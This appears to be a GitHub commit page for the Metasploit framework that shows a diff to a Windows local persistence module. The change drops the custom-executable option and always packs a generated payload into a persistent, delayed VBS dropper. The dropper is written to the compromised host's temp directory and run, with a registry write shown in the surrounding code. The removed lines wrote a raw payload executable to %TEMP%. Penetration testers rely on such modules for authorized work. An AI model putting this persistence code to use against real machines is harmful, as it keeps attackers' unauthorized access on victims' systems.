Skip to content

Commit 97edbb7

Browse files
author
jvazquez-r7
committed
using always a vbs file to drop exe
1 parent 5edb138 commit 97edbb7

File tree

1 file changed

+7
-39
lines changed

1 file changed

+7
-39
lines changed

modules/exploits/windows/local/persistence.rb

Lines changed: 7 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -59,28 +59,19 @@ def initialize(info={})
5959
def exploit
6060
print_status("Running module against #{sysinfo['Computer']}")
6161

62-
rexe = datastore['EXE::Custom']
6362
rexename = datastore['REXENAME']
6463
delay = datastore['DELAY']
6564
reg_val = datastore['REG_NAME']
66-
template_pe = datastore['EXE::Template']
6765
@clean_up_rc = ""
6866
host,port = session.session_host, session.session_port
6967

70-
if rexe.nil?
71-
script = create_script(delay, template_pe)
72-
script_on_target = write_script_to_target(script,rexename)
73-
if script_on_target == nil
74-
# exit the module because we failed to write the file on the target host.
75-
return
76-
end
77-
else
78-
alt_pay_exe = get_custom_exe
79-
script_on_target = write_exe_to_target(alt_pay_exe, rexename)
80-
if script_on_target == nil
81-
# exit the module because we failed to write the file on the target host.
82-
return
83-
end
68+
exe = generate_payload_exe
69+
script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay})
70+
script_on_target = write_script_to_target(script,rexename)
71+
72+
if script_on_target == nil
73+
# exit the module because we failed to write the file on the target host.
74+
return
8475
end
8576

8677
# Initial execution of script
@@ -228,27 +219,4 @@ def write_to_reg(key,script_on_target, registry_value)
228219
end
229220
end
230221

231-
# Writesexecutable to target host
232-
#-------------------------------------------------------------------------------
233-
def write_exe_to_target(exe_raw, rexename)
234-
if rexename.nil?
235-
exe_name = Rex::Text.rand_text_alpha(rand(8)+8)
236-
else
237-
exe_name = rexename
238-
end
239-
240-
tempdir = session.fs.file.expand_path("%TEMP%")
241-
tempexe = tempdir + "\\" + exe_name + ".exe"
242-
begin
243-
fd = session.fs.file.new(tempexe, "wb")
244-
fd.write(exe_raw)
245-
fd.close
246-
print_good("Persistent executable written to #{tempexe}")
247-
@clean_up_rc << "rm #{tempexe}\n"
248-
rescue
249-
print_error("Failed to write the payload on the target.")
250-
tempexe = nil
251-
end
252-
return tempexe
253-
end
254222
end

0 commit comments

Comments
 (0)